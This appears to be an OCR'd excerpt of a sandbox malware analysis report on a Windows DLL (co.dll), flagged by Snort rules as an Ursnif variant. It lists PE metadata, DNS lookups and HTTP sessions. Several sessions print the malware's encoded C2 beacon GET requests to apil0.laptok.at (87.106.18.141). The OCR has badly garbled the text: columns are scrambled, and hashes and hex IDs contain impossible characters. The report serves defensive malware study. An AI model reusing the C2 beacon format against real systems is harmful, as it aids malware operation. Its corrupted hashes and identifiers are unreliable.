PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows

6.780421287422744

e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%

e Generic Win/DOS Executable (2004/3) 0.20%

e DOS Executable Generic (2002/1) 0.20%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

co.dll

167426

€9cd971a083303b1b7c4c912f8739f6b
25fc199dbb5a7c0a71dfag8f430d8f09d09c0326d

96defachb7096fc81b809c4b0e427399ch2f7da2fb7eb278
dd676785a8a476181

299645fd8262496396685707da2694ba04d1d20d747a8d
6f1874b0a105599736b450f66966fda3333a1006d38a6c0
2ce03e211dab2ec8d5blblbedeacca227f0

3072:LPt9UofdP4nIFJABRIGM2k0xe2ly95auD3H8t2Ym
zQPJbN:DtLdP4QaBaGM2k0xe2T55bQ2PiN

is program cannot be run in DOS mode....$.......... k..a8..
a8..a8...8..a8...8..a8...8..a8...8..a8...8..a8...8..a8...8..a8..
'88.a8...8..a8...8..a8...8..a8...8..a8Rich..a8.......

General

Entrypoint: 0x100020d3

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x10000000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics: DYNAMIC_BASE

Time Stamp: 0x497836A1 [Thu Jan 22 09:04:33 2009 UTC]

TLS Callbacks:
CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 0

File Version Major: 5

File Version Minor: 0

Subsystem Version Major: 5

Subsystem Version Minor: 0

Import Hash: 03950ae48622d89c2d077838afd282e9

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x1000 0x1f5bc 0x1f600 False 0.765111429283 data 7.02169145494 IMAGE_SCN_MEM_EXECUTE,
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IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
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Name  Virtual Address

.rdata 0x21000 0x5b49
.data 0x27000 0x10df8
.rsrc 0x38000 Oxee0
.reloc 0x39000 0x140c

Resources
Imports
Exports
Version Infos
Possible Origin

Language of compilation system

English

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID

10/07/21- UbP 254
16:20:10.924959

10/07/21- TCP
16:21:28.345708

10/07/21- TCP
16:21:28.345708

10/07/21- TCP
16:21:43.273349

10/07/21- TCP
16:21:56.510993

10/07/21- TCP
16:21:56.510993

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp

Oct 7, 2021 16:20:01.854331970 CEST
Oct 7, 2021 16:20:05.637764931 CEST

Oct 7, 2021 16:20:05.848865986 CEST

Copyright Joe Security LLC 2021

Virtual Size

Message

Raw Size

0x5c00

0x1200

0x1000

0x1600

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

Xored PE

ZLIB Complexity File Type
0.467094089674 data
0.353949652778 data
0.367431640625 data
0.499289772727 data

Country where language is spoken

United States

DNS SPOOF query response with TTL of 1 min. and no authority

2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

Dest IP Trans ID
8.8.8.8 0x29a0
8.8.8.8 0x89b1
8.8.8.8 0x5102

OP Code

Standard query

©)

Standard query

©)

Standard query

©)

Entropy Characteristics
5.92572103513 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
3.51418461496 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
3.38633866815 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
4.84184703976 IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ
Map
-
Source Dest
Port Port Source IP  Dest IP
53 49992 8.8.8.8 192.168.2.5
49911 80 192.168.2.5 87.106.18.141
49911 80 192.168.2.5 87.106.18.141
49924 80 192.168.2.5 87.106.18.141
49942 80 192.168.2.5 87.106.18.141
49942 80 192.168.2.5 87.106.18.141
Name Type Class
www.msn.com A (IP address) IN (0x0001)
web.vortex A (IP address) IN (0x0001)
.data.msn.com
contextual A (IP address) IN (0x0001)
.media.net
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Timestamp

Oct 7, 2021 16:20:06.062587023 CEST

Oct 7, 2021 16:20:08.486566067 CEST

Oct 7, 2021 16:20:10.169162035 CEST

Oct 7, 2021 16:20:10.354010105 CEST

Oct 7, 2021 16:20:10.367006063 CEST

Oct 7, 2021 16:20:10.906308889 CEST

Oct 7, 2021 16:20:11.137114048 CEST

Oct 7, 2021 16:20:11.972070932 CEST

Oct 7, 2021 16:20:11.975321054 CEST

Oct 7, 2021 16:20:12.504935980 CEST

Oct 7, 2021 16:20:12.509289980 CEST

Oct 7, 2021 16:20:12.819228888 CEST

Oct 7, 2021 16:20:13.301506042 CEST

Oct 7, 2021 16:20:13.369276047 CEST

Oct 7, 2021 16:20:14.097879887 CEST

Oct 7, 2021 16:20:14.190639973 CEST

Oct 7, 2021 16:20:17.883209944 CEST

Oct 7, 2021 16:21:28.274435997 CEST

Oct 7, 2021 16:21:43.211688995 CEST

Oct 7, 2021 16:21:43.264308929 CEST

Oct 7, 2021 16:21:56.435439110 CEST

DNS Answers

Timestamp Source IP

Oct 7, 2021
16:20:01.872417927
CEST

Oct 7, 2021
16:20:05.669785976
CEST

Oct 7, 2021
16:20:05.867429972
CEST

Oct 7, 2021
16:20:06.082886934
CEST

Oct 7, 2021
16:20:06.082886934
CEST

Oct 7, 2021
16:20:08.506447077
CEST

Oct 7, 2021
16:20:10.196027994
CEST

Oct 7, 2021
16:20:10.371850014
CEST

Oct 7, 2021
16:20:10.371850014
CEST

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8
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Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID
0x29a0

0x89b1

0x5102

Ox7df4

Ox7df4

0xbd9

0x1974

0x7a06

0x7a06

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID OP Code
0x7df4 Standard query
0
0xbd9 Standard query
0
0x1974 Standard query
(0
0x7a06 Standard query
(0
0xd892 Standard query
0
0xb173 Standard query
(0)
0xf678 Standard query
0
Oxab2b Standard query
(0)
Oxeed5 Standard query
(0)
0x2d6 Standard query
(0)
Oxel8e Standard query
(0)
Oxc6af Standard query
)
0x5cee Standard query
)
Oxa7ea Standard query
)
0x400f Standard query
)
0x73f2 Standard query
(©)
0x56b0 Standard query
(©)
0x98f4 Standard query
)
0x742 Standard query
)
0x7583 Standard query
)
0xf25f Standard query
)
Name CName

Www.msh.com
msedge.net

web.vortex
.data.msn.com .com

contextual
.media.net

geolocatio
n.onetrust.com

geolocatio
n.onetrust.com

Ig3.media.net

cm.g.doubl
eclick.net

x.bidswitch.net  elb-aws-fr-bruges-
621602890.eu-central-

1.elb.amazonaws.com

elb-aws-fr-
bruges-62
1602890.eu-
central-1
.elb.amazo
naws.com

Name

geolocatio
n.onetrust.com
Ig3.media.net
cm.g.doubl
eclick.net
x.bidswitch.net
cs.media.net
id.rlcdn.com
match.adsrvr.org
hblg.media.net
sync.matht

ag.com

ups.analyt
ics.yahoo.com

pixel.adve
rtising.com
btloader.com
ad.doublec
lick.net
ad-delivery.net
cvision.media.net
srth.msn.com
img.img-ta
boola.com
apil0.laptok.at
apil0.laptok.at

apil0.laptok.at

apil0.laptok.at

Address

www-msn-com.a-0003.a-

web.vortex.data.microsoft

95.100.216.34

104.20.185.68

104.20.184.68

95.100.216.34

216.58.215.226

3.127.209.187

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 18.194.231.4 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 18.193.60.253 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 3.120.169.248 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 3.126.38.41 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 18.194.117.13 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 3.120.56.129 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0x7a06 No error (0) elb-aws-fr- 18.194.4.47 A (IP address)  IN (0x0001)
16:20:10.371850014 bruges-62
CEST 1602890.eu-

central-1

.elb.amazo

naws.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0xd892 No error (0) cs.media.net 95.100.216.34 A (IP address)  IN (0x0001)
16:20:10.387334108
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 0xb173 No error (0) id.rlcdn.com 35.244.174.68 A (IP address)  IN (0x0001)
16:20:10.924958944
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 0xf678 No error (0) match.adsrvr.org a97adde81b00f2cad.awsg CNAME IN (0x0001)
16:20:11.155215025 lobalaccelerator.com (Canonical
CEST name)
Oct 7, 2021 8.8.8.8 192.168.2.5 0xf678 No error (0) a97adde81b 76.223.111.131 A (IP address)  IN (0x0001)
16:20:11.155215025 00f2cad.aw
CEST sglobalacc

elerator.com
Oct 7, 2021 8.8.8.8 192.168.2.5 0xf678 No error (0) a97adde81b 13.248.242.197 A (IP address)  IN (0x0001)
16:20:11.155215025 00f2cad.aw
CEST sglobalacc

elerator.com
Oct 7, 2021 8.8.8.8 192.168.2.5 Oxeed5 No error (0) sync.matht pixel-origin.mathtag.com CNAME IN (0x0001)
16:20:11.992161989 ag.com (Canonical
CEST name)
Oct 7, 2021 8.8.8.8 192.168.2.5 Oxeed5 No error (0) pixel-orig 185.29.132.241 A (IP address)  IN (0x0001)
16:20:11.992161989 in.mathtag.com
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 Oxeed5 No error (0) pixel-orig 185.29.134.244 A (IP address)  IN (0x0001)
16:20:11.992161989 in.mathtag.com
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 Oxeed5 No error (0) pixel-orig 185.29.132.245 A (IP address)  IN (0x0001)
16:20:11.992161989 in.mathtag.com
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 Oxeed5 No error (0) pixel-orig 185.29.134.248 A (IP address)  IN (0x0001)
16:20:11.992161989 in.mathtag.com
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 Oxab2b No error (0) hblg.media.net 95.100.216.34 A (IP address)  IN (0x0001)
16:20:11.992424965
CEST
Oct 7, 2021 8.8.8.8 192.168.2.5 0x2d6 No error (0) ups.analyt prod.ups-ats.aolp-ds- CNAME IN (0x0001)
16:20:12.522687912 ics.yahoo.com  prd.aws.oath.cloud (Canonical
CEST name)
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Timestamp Source IP

Oct 7, 2021
16:20:12.522687912
CEST

8.8.8.8

Oct 7, 2021
16:20:12.522687912
CEST

8.8.8.8

Oct 7, 2021
16:20:12.522687912
CEST

8.8.8.8

Oct 7, 2021 8.8.8.8
16:20:12.527015924

CEST

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021 8.8.8.8
16:20:12.527015924

CEST

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.527015924
CEST

8.8.8.8

Oct 7, 2021
16:20:12.839592934
CEST

Oct 7, 2021
16:20:12.839592934
CEST

Oct 7, 2021
16:20:12.839592934
CEST

Oct 7, 2021
16:20:13.327691078
CEST

Oct 7, 2021
16:20:13.327691078
CEST

Oct 7, 2021
16:20:13.390026093
CEST

Oct 7, 2021
16:20:13.390026093
CEST

Oct 7, 2021
16:20:13.390026093
CEST

Oct 7, 2021
16:20:14.115874052
CEST

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8
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Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID

0x2d6

0x2d6

0x2d6

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxel8e

Oxc6af

Oxcé6af

Oxcé6af

0x5cce

0x5cce

Oxa7ea

Oxa7ea

Oxa7ea

0x400f

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

prod.ups-a prod.ups-ats.eu-central-
ts.aolp-ds- 1.aolp-ds-

prd.aws.o prd.aws.oath.cloud
ath.cloud

prod.ups-ats.eu-
central-1.aolp-
ds-prd.aw
s.oath.cloud

prod.ups-ats.eu-
central-1.aolp-

ds-prd.aw

s.oath.cloud

pixel.adve prod.ups-adcom.aolp-ds-
rtising.com prd.aws.oath.cloud
prod.ups-a prod.ups-eu-central-
dcom.aolp-ds- 1.aolp-ds-

prd.aws prd.aws.oath.cloud
.oath.cloud

prod.ups-eu-

central-1.aolp-
ds-prd.aws.oa
th.cloud

prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud

prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud

prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud

prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud
prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud
prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud
prod.ups-eu-
central-1.aolp-
ds-prd.aws.oa
th.cloud

btloader.com

btloader.com

btloader.com

ad.doublec dart.l.doubleclick.net

lick.net

dart.l.dou

bleclick.net

ad-delivery.net

ad-delivery.net

ad-delivery.net

cvision.me
dia.net

cvision.media.net.edgeke
y.net

Address

18.156.0.31

3.126.56.137

18.184.201.8

18.159.118.206

54.93.133.131

18.156.147.57

52.59.77.57

18.159.140.98

18.197.47.23

35.157.177.200

104.26.7.139

104.26.6.139

172.67.70.134

172.217.168.38

104.26.3.70

172.67.69.19

104.26.2.70

Type
CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Oct 7, 2021
16:20:14.208525896
CEST

8.8.8.8

Oct 7, 2021
16:20:14.208525896
CEST

8.8.8.8

Oct 7, 2021
16:20:17.901489019
CEST

8.8.8.8

Oct 7, 2021
16:20:17.901489019
CEST

8.8.8.8

Oct 7, 2021
16:20:17.901489019
CEST

8.8.8.8

Oct 7, 2021
16:20:17.901489019
CEST

8.8.8.8

Oct 7, 2021 8.8.8.8
16:20:17.901489019

CEST

Oct 7, 2021
16:20:42.803215027
CEST

8.8.8.8

Oct 7, 2021
16:21:28.292711020
CEST

8.8.8.8

Oct 7, 2021
16:21:43.229543924
CEST

8.8.8.8

Oct 7, 2021
16:21:43.304769039
CEST

8.8.8.8

Oct 7, 2021
16:21:56.462358952
CEST

8.8.8.8

Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

HTTP Request Dependency Graph

e https:

e geolocation.onetrust.com

cm.g.doubleclick.net
x.bidswitch.net
id.rlcdn.com
match.adsrvr.org
sync.mathtag.com

pixel.advertising.com
btloader.com
ad.doubleclick.net
ad-delivery.net
img.img-taboola.com

e o o o o o 0o o o o o

e apil0.laptok.at

HTTP Packets

ups.analytics.yahoo.com

Trans ID

0x73f2

0x73f2

0x56b0

0x56b0

0x56b0

0x56b0

0x56b0

0xb19a

0x98f4

0x742

0x7583

Oxf25f

Session ID Source IP Source Port

0 192.168.2.5 49769
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

1 192.168.2.5 49782
kBytes

Timestamp transferred Direction
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Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

srtb.msn.com www.msn.com

www-msn-com.a-0003.a-
msedge.net

www.msn.com

img.img-ta tls13.taboola.map.fastly.n
boola.com et

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

windowsupd

ate.s.llnwi.net

apil0.laptok.at

apil0.laptok.at

apil0.laptok.at

apil0.laptok.at

Address

151.101.1.44

151.101.65.44

151.101.129.44

151.101.193.44

178.79.242.128

87.106.18.141

87.106.18.141

87.106.18.141

87.106.18.141

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Destination IP
104.20.185.68

Data

Destination IP

216.58.215.226

Data

Destination Port Process

443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Destination Port Process

443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Page 52 of 83



Session ID

10

Timestamp

Session ID

11

Timestamp

Session ID

12

Timestamp

Session ID

13

Timestamp

Session ID

14

Timestamp

Session ID
15

Timestamp

Session ID
16

Timestamp

Session ID
17

Timestamp

Session ID
18

Timestamp

Session ID

19

Timestamp

Source IP

192.168.2.5

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

Source IP
192.168.2.5

kBytes
transferred

Source IP
192.168.2.5

kBytes
transferred

Source IP
192.168.2.5

kBytes
transferred

Source IP
192.168.2.5

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

Copyright Joe Security LLC 2021

Source Port

49803

Direction

Source Port

49805

Direction

Source Port

49806

Direction

Source Port

49817

Direction

Source Port

49819

Direction

Source Port
49824

Direction

Source Port
49827

Direction

Source Port
49846

Direction

Source Port
49844

Direction

Source Port

49843

Direction

Destination IP

18.156.0.31

Data

Destination IP

18.184.201.8

Data

Destination IP

18.184.201.8

Data

Destination IP

18.156.0.31

Data

Destination IP

104.26.7.139

Data

Destination IP
172.217.168.38

Data

Destination IP
104.26.3.70

Data

Destination IP
151.101.1.44

Data

Destination IP
151.101.1.44

Data

Destination IP

151.101.1.44

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port
443

Destination Port
443

Destination Port
443

Destination Port
443

Destination Port

443

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process

C:\Program Files (x86)\Internet Explorer\iexplore.exe
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Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49784 3.127.209.187 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

20 192.168.2.5 49842 151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

21 192.168.2.5 49845 151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

22 192.168.2.5 49847 151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

23 192.168.2.5 49911 87.106.18.141 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

Oct 7, 2021 5767 ouT GET /apil/ksE8rF5AGsnIH/fbLwQ3Lg/XhcZ8P1h_2Bo0_2BrjHAua5/e46Fw12wZ1/j1YBnIEVWMTOHVp4T/_2FS

16:21:28.345707893 CEST BVel_2BD/MtuellzuDId/8eZOKx2Uzqu7_2/B_2BIcRwCeM2BicM_2BIQ/dnUyI3L91KPOSGJIF/REFJoC3NQRoXeRu

JEUZgiBW5ykWplixdja/XweS77_2F/YWVjXghErokmvPqgxalGa/uF4H7dLvfoa5oaEuK7a/9t8Dhet7EJ2ycRjwV5N
h_2/FAcOKRS5tjq4Mj/G592BKqi/FiGVSjGAGKhk57Y20uTtOf7/wQ8JLEs_2B/SWOdJql2ovpP6_2Fy/QhV2Hdk6yU
X_I2FiSux_2F/gXZMkf HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

Oct 7, 2021 5767 IN HTTP/1.1 200 OK
16:21:28.392242908 CEST Server: nginx/1.14.2
Date: Thu, 07 Oct 2021 14:21:28 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive
Data Raw: 30 0d Oa Od Oa

Data Ascii: 0
Oct 7, 2021 5768 ouT GET /favicon.ico HTTP/1.1
16:21:28.661712885 CEST Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

Oct 7, 2021 5768 IN HTTP/1.1 200 OK
16:21:28.712852955 CEST Server: nginx/1.14.2
Date: Thu, 07 Oct 2021 14:21:28 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive
Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Session ID Source IP Source Port Destination IP Destination Port Process
24 192.168.2.5 49924 87.106.18.141 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes
Timestamp transferred

Oct 7, 2021 5939
16:21:43.273349047 CEST

Oct 7, 2021 5939
16:21:43.318603039 CEST

Oct 7, 2021 5941
16:21:43.535511971 CEST

Oct 7, 2021 5941
16:21:43.581047058 CEST

Session ID Source IP
25 192.168.2.5

kBytes
Timestamp transferred
Oct 7, 2021 5940

16:21:43.352124929 CEST

Oct 7, 2021 5940
16:21:43.400052071 CEST

Session ID Source IP
26 192.168.2.5

kBytes
Timestamp transferred
Oct 7, 2021 8618

16:21:56.510993004 CEST

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port

49927

Direction

ouT

Source Port
49942

Direction
ouT

Data

GET /apil/cjCx3CFNwvfHfzzFXMAZ{Sp/akD8HpiwLw/Xmf8SltrkZwIskxdD/LQgq0Dg4H6kbK/nehUVbDEZih/YkDTsvTp3bYb
8i/Kr6QeLgvadlislsOpFukgL/OMDZLo4EFNLTVIQB/mKd2X3KJYAV3yVi/tdKjp4ktdyuY orXyBG/KNEUmM6r2X/1LV
NKB3ak_2Bz2y79hi5/ldlwlqOdPKTHg5FPpv_/2FZINGmhONUug8aA08LNJZ/wnXLclCktJOE5/BE2wOkMW/QOYuG2
fkUBGX4EAYMrqGuqg/isDTO90LCo/1CIYfHIHGNONJOZZW/Ng_2B8t HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 07 Oct 2021 14:21:43 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 07 Oct 2021 14:21:43 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive

Data Raw: 30 0d Oa Od Oa

Data Ascii: 0

Destination IP Destination Port Process

87.106.18.141 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/cjCx3CFNwvfHfzzFXMAZfSp/akD8HpiwlLw/Xmf8SltrkZwIskxdD/LQqODg4H6kbK/nehUVbDEZih/YkDTsvTp3bYb
8i/Kr6QeLqvadlisIs9pFukglL/OMDZLo4EFNLTVIQB/mKd2X3KJIYAV3yVi/tdKjp4ktdyuYorXyBG/KNEUmM6r2X/1LV
NKB3ak_2Bz2y79hi5/ldlw1qOdPKTHg5FPpv_/2FZINGmMhONUukUFKfkxwRB/hAGRbgGMKRsOW/Sja4JDzR/Typ_2F
